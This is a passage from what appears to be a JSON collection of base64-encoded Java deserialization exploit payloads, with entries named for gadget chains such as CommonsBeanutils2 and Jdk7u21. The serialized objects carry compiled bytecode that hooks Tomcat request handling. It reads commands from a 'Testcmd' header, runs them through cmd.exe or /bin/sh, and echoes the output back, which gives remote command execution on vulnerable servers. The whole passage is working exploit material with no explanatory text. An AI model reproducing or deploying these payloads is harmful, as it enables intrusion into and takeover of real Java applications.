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",
                    "CommonsBeanutils2":"rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAADwPK/rq+AAAAMgDpAQAMRm9vTkdVYU4zQnJRBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABFGb29OR1VhTjNCclEuamF2YQEACXdyaXRlQm9keQEAFyhMamF2YS9sYW5nL09iamVjdDtbQilWAQAkb3JnLmFwYWNoZS50b21jYXQudXRpbC5idWYuQnl0ZUNodW5rCAAJAQAPamF2YS9sYW5nL0NsYXNzBwALAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAA0ADgoADAAPAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAEQASCgAMABMBAAhzZXRCeXRlcwgAFQEAAltCBwAXAQARamF2YS9sYW5nL0ludGVnZXIHABkBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsMABsAHAkAGgAdAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAAfACAKAAwAIQEABjxpbml0PgEABChJKVYMACMAJAoAGgAlAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwAnAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAApACoKACgAKwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwALQAuCgAEAC8BAAdkb1dyaXRlCAAxAQAJZ2V0TWV0aG9kDAAzACAKAAwANAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HADYBABNqYXZhLm5pby5CeXRlQnVmZmVyCAA4AQAEd3JhcAgAOgEABENvZGUBAApFeGNlcHRpb25zAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAPgEADVN0YWNrTWFwVGFibGUBAAVnZXRGVgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwAQwBECgAMAEUBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HAEcBAA1nZXRTdXBlcmNsYXNzDABJAC4KAAwASgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAIwBMCgBIAE0BACJqYXZhL2xhbmcvcmVmbGVjdC9BY2Nlc3NpYmxlT2JqZWN0BwBPAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAFEAUgoAUABTAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAFUBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAVwBYCgBWAFkBABBqYXZhL2xhbmcvU3RyaW5nBwBbAQADKClWDAAjAF0KAAQAXgEAEGphdmEvbGFuZy9UaHJlYWQHAGABAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAGIAYwoAYQBkAQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7DABmAGcKAGEAaAEAB3RocmVhZHMIAGoMAEEAQgoAAgBsAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcAbgEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAcABxCgBhAHIBAARleGVjCAB0AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAHYAdwoAXAB4AQAEaHR0cAgAegEABnRhcmdldAgAfAEAEmphdmEvbGFuZy9SdW5uYWJsZQcAfgEABnRoaXMkMAgAgAEAB2hhbmRsZXIIAIIBAAZnbG9iYWwIAIQBAApwcm9jZXNzb3JzCACGAQAOamF2YS91dGlsL0xpc3QHAIgBAARzaXplAQADKClJDACKAIsLAIkAjAEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwwAVwCOCwCJAI8BAANyZXEIAJEBAAtnZXRSZXNwb25zZQgAkwEACWdldEhlYWRlcggAlQEACFRlc3RlY2hvCACXAQAHaXNFbXB0eQEAAygpWgwAmQCaCgBcAJsBAAlzZXRTdGF0dXMIAJ0BAAlhZGRIZWFkZXIIAJ8BAAdUZXN0Y21kCAChAQAHb3MubmFtZQgAowEAEGphdmEvbGFuZy9TeXN0ZW0HAKUBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DACnAKgKAKYAqQEAC3RvTG93ZXJDYXNlDACrAHEKAFwArAEABndpbmRvdwgArgEAB2NtZC5leGUIALABAAIvYwgAsgEABy9iaW4vc2gIALQBAAItYwgAtgEAEWphdmEvdXRpbC9TY2FubmVyBwC4AQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwC6AQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwAIwC8CgC7AL0BAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwAvwDACgC7AMEBABFqYXZhL2xhbmcvUHJvY2VzcwcAwwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAMUAxgoAxADHAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAjAMkKALkAygEAAlxBCADMAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7DADOAM8KALkA0AEABG5leHQMANIAcQoAuQDTAQAIZ2V0Qnl0ZXMBAAQoKVtCDADVANYKAFwA1wwABwAICgACANkBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7DADbANwKAKYA3QEAE2phdmEvdXRpbC9IYXNodGFibGUHAN8BAAh0b1N0cmluZwwA4QBxCgDgAOIBABNbTGphdmEvbGFuZy9TdHJpbmc7BwDkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcA5goA5wBeACEAAgDnAAAAAAADAAoABwAIAAIAPAAAANwACAAFAAAAsRIKuAAQTi22ABRNLRIWBr0ADFkDEhhTWQSyAB5TWQWyAB5TtgAiLAa9AARZAytTWQS7ABpZA7cAJlNZBbsAGlkrvrcAJlO2ACxXKrYAMBIyBL0ADFkDLVO2ADUqBL0ABFkDLFO2ACxXpwBIOgQSObgAEE4tEjsEvQAMWQMSGFO2ACItBL0ABFkDK1O2ACxNKrYAMBIyBL0ADFkDLVO2ADUqBL0ABFkDLFO2ACxXpwADsQABAAAAaABrADcAAQBAAAAAEQAC9wBrBwA3/QBEBwAEBwAMAD0AAAAEAAEAPwAKAEEAQgACADwAAAB+AAMABQAAAD8BTSq2ADBOpwAZLSu2AEZNpwAWpwAAOgQttgBLTqcAAy0SBKb/5ywBpgAMuwBIWSu3AE6/LAS2AFQsKrYAWrAAAQAKABMAFgBIAAEAQAAAACUABv0ACgcAVgcADAj/AAIABAcABAcAXAcAVgcADAABBwBICQUNAD0AAAAEAAEAPwABACMAXQACADwAAAM2AAgADQAAAj8qtwDoAzYEuABltgBpEmu4AG3AAG86BQM2BhUGGQW+ogIfGQUVBjI6BxkHAaYABqcCCRkHtgBzTi0SdbYAeZoADC0Se7YAeZoABqcB7hkHEn24AG1MK8EAf5oABqcB3CsSgbgAbRKDuABtEoW4AG1MpwALOginAcOnAAArEoe4AG3AAIk6CQM2ChUKGQm5AI0BAKIBnhkJFQq5AJACADoLGQsSkrgAbUwrtgAwEpQDvQAMtgA1KwO9AAS2ACxNK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKYU7YALMAAXE4tAaUACi22AJyZAAanAFgstgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVyy2ADASoAW9AAxZAxJcU1kEElxTtgA1LAW9AARZAxKYU1kELVO2ACxXBDYEK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKiU7YALMAAXE4tAaUACi22AJyZAAanAI0stgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVxKkuACqtgCtEq+2AHmZABgGvQBcWQMSsVNZBBKzU1kFLVOnABUGvQBcWQMStVNZBBK3U1kFLVM6DCy7ALlZuwC7WRkMtwC+tgDCtgDItwDLEs22ANG2ANS2ANi4ANoENgQtAaUACi22AJyZAAgVBJoABqcAECy4AN62AOO2ANi4ANoVBJkABqcACYQKAaf+XBUEmQAGpwAJhAYBp/3fsQABAF8AcABzAD8AAQBAAAAA3QAZ/wAaAAcHAAIAAAABBwBvAQAA/AAXBwBh/wAXAAgHAAIAAAcAXAEHAG8BBwBhAAAC/wARAAgHAAIHAAQABwBcAQcAbwEHAGEAAFMHAD8E/wACAAgHAAIHAAQABwBcAQcAbwEHAGEAAP4ADQAHAIkB/wBjAAwHAAIHAAQHAAQHAFwBBwBvAQcAYQAHAIkBBwAEAAAC+wBULgL7AE1RBwDlKQsEAgwH/wAFAAsHAAIHAAQABwBcAQcAbwEHAGEABwCJAQAA/wAHAAgHAAIAAAABBwBvAQcAYQAA+gAFAD0AAAAEAAEAPwABAAUAAAACAAZ1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==",
                    "Jdk7u21":"rO0ABXNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAACc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMACEkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAC19hdXhDbGFzc2VzdAA7TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0hhc2h0YWJsZTtbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAH/////AXB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAPA8r+ur4AAAAyAOkBAAxGb292NGhBMnZ1U1MHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAEUZvb3Y0aEEydnVTUy5qYXZhAQAJd3JpdGVCb2R5AQAXKExqYXZhL2xhbmcvT2JqZWN0O1tCKVYBACRvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmJ1Zi5CeXRlQ2h1bmsIAAkBAA9qYXZhL2xhbmcvQ2xhc3MHAAsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwADQAOCgAMAA8BAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAARABIKAAwAEwEACHNldEJ5dGVzCAAVAQACW0IHABcBABFqYXZhL2xhbmcvSW50ZWdlcgcAGQEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAGwAcCQAaAB0BABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB8AIAoADAAhAQAGPGluaXQ+AQAEKEkpVgwAIwAkCgAaACUBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACcBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACkAKgoAKAArAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAtAC4KAAQALwEAB2RvV3JpdGUIADEBAAlnZXRNZXRob2QMADMAIAoADAA0AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcANgEAE2phdmEubmlvLkJ5dGVCdWZmZXIIADgBAAR3cmFwCAA6AQAEQ29kZQEACkV4Y2VwdGlvbnMBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwA+AQANU3RhY2tNYXBUYWJsZQEABWdldEZWAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABDAEQKAAwARQEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcARwEADWdldFN1cGVyY2xhc3MMAEkALgoADABKAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAjAEwKAEgATQEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QHAE8BAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAUQBSCgBQAFMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcAVQEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABXAFgKAFYAWQEAEGphdmEvbGFuZy9TdHJpbmcHAFsBAAMoKVYMACMAXQoABABeAQAQamF2YS9sYW5nL1RocmVhZAcAYAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAYgBjCgBhAGQBAA5nZXRUaHJlYWRHcm91cAEAGSgpTGphdmEvbGFuZy9UaHJlYWRHcm91cDsMAGYAZwoAYQBoAQAHdGhyZWFkcwgAagwAQQBCCgACAGwBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBuAQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DABwAHEKAGEAcgEABGV4ZWMIAHQBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAdgB3CgBcAHgBAARodHRwCAB6AQAGdGFyZ2V0CAB8AQASamF2YS9sYW5nL1J1bm5hYmxlBwB+AQAGdGhpcyQwCACAAQAHaGFuZGxlcggAggEABmdsb2JhbAgAhAEACnByb2Nlc3NvcnMIAIYBAA5qYXZhL3V0aWwvTGlzdAcAiAEABHNpemUBAAMoKUkMAIoAiwsAiQCMAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABXAI4LAIkAjwEAA3JlcQgAkQEAC2dldFJlc3BvbnNlCACTAQAJZ2V0SGVhZGVyCACVAQAIVGVzdGVjaG8IAJcBAAdpc0VtcHR5AQADKClaDACZAJoKAFwAmwEACXNldFN0YXR1cwgAnQEACWFkZEhlYWRlcggAnwEAB1Rlc3RjbWQIAKEBAAdvcy5uYW1lCACjAQAQamF2YS9sYW5nL1N5c3RlbQcApQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAKcAqAoApgCpAQALdG9Mb3dlckNhc2UMAKsAcQoAXACsAQAGd2luZG93CACuAQAHY21kLmV4ZQgAsAEAAi9jCACyAQAHL2Jpbi9zaAgAtAEAAi1jCAC2AQARamF2YS91dGlsL1NjYW5uZXIHALgBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHALoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAjALwKALsAvQEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAC/AMAKALsAwQEAEWphdmEvbGFuZy9Qcm9jZXNzBwDDAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwwAxQDGCgDEAMcBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMACMAyQoAuQDKAQACXEEIAMwBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMAM4AzwoAuQDQAQAEbmV4dAwA0gBxCgC5ANMBAAhnZXRCeXRlcwEABCgpW0IMANUA1goAXADXDAAHAAgKAAIA2QEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMANsA3AoApgDdAQATamF2YS91dGlsL0hhc2h0YWJsZQcA3wEACHRvU3RyaW5nDADhAHEKAOAA4gEAE1tMamF2YS9sYW5nL1N0cmluZzsHAOQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwDmCgDnAF4AIQACAOcAAAAAAAMACgAHAAgAAgA8AAAA3AAIAAUAAACxEgq4ABBOLbYAFE0tEhYGvQAMWQMSGFNZBLIAHlNZBbIAHlO2ACIsBr0ABFkDK1NZBLsAGlkDtwAmU1kFuwAaWSu+twAmU7YALFcqtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAEg6BBI5uAAQTi0SOwS9AAxZAxIYU7YAIi0EvQAEWQMrU7YALE0qtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAAOxAAEAAABoAGsANwABAEAAAAARAAL3AGsHADf9AEQHAAQHAAwAPQAAAAQAAQA/AAoAQQBCAAIAPAAAAH4AAwAFAAAAPwFNKrYAME6nABktK7YARk2nABanAAA6BC22AEtOpwADLRIEpv/nLAGmAAy7AEhZK7cATr8sBLYAVCwqtgBasAABAAoAEwAWAEgAAQBAAAAAJQAG/QAKBwBWBwAMCP8AAgAEBwAEBwBcBwBWBwAMAAEHAEgJBQ0APQAAAAQAAQA/AAEAIwBdAAIAPAAAAzYACAANAAACPyq3AOgDNgS4AGW2AGkSa7gAbcAAbzoFAzYGFQYZBb6iAh8ZBRUGMjoHGQcBpgAGpwIJGQe2AHNOLRJ1tgB5mgAMLRJ7tgB5mgAGpwHuGQcSfbgAbUwrwQB/mgAGpwHcKxKBuABtEoO4AG0ShbgAbUynAAs6CKcBw6cAACsSh7gAbcAAiToJAzYKFQoZCbkAjQEAogGeGQkVCrkAkAIAOgsZCxKSuABtTCu2ADASlAO9AAy2ADUrA70ABLYALE0rtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEphTtgAswABcTi0BpQAKLbYAnJkABqcAWCy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXLLYAMBKgBb0ADFkDElxTWQQSXFO2ADUsBb0ABFkDEphTWQQtU7YALFcENgQrtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEqJTtgAswABcTi0BpQAKLbYAnJkABqcAjSy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXEqS4AKq2AK0Sr7YAeZkAGAa9AFxZAxKxU1kEErNTWQUtU6cAFQa9AFxZAxK1U1kEErdTWQUtUzoMLLsAuVm7ALtZGQy3AL62AMK2AMi3AMsSzbYA0bYA1LYA2LgA2gQ2BC0BpQAKLbYAnJkACBUEmgAGpwAQLLgA3rYA47YA2LgA2hUEmQAGpwAJhAoBp/5cFQSZAAanAAmEBgGn/d+xAAEAXwBwAHMAPwABAEAAAADdABn/ABoABwcAAgAAAAEHAG8BAAD8ABcHAGH/ABcACAcAAgAABwBcAQcAbwEHAGEAAAL/ABEACAcAAgcABAAHAFwBBwBvAQcAYQAAUwcAPwT/AAIACAcAAgcABAAHAFwBBwBvAQcAYQAA/gANAAcAiQH/AGMADAcAAgcABAcABAcAXAEHAG8BBwBhAAcAiQEHAAQAAAL7AFQuAvsATVEHAOUpCwQCDAf/AAUACwcAAgcABAAHAFwBBwBvAQcAYQAHAIkBAAD/AAcACAcAAgAAAAEHAG8BBwBhAAD6AAUAPQAAAAQAAQA/AAEABQAAAAIABnB0AANhYmNzcgAUamF2YS51dGlsLlByb3BlcnRpZXM5EtB6cDY+mAIAAUwACGRlZmF1bHRzcQB+AAh4cgATamF2YS51dGlsLkhhc2h0YWJsZRO7DyUhSuS4AwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAh3CAAAAAsAAAAAeHB3AQB4c30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdH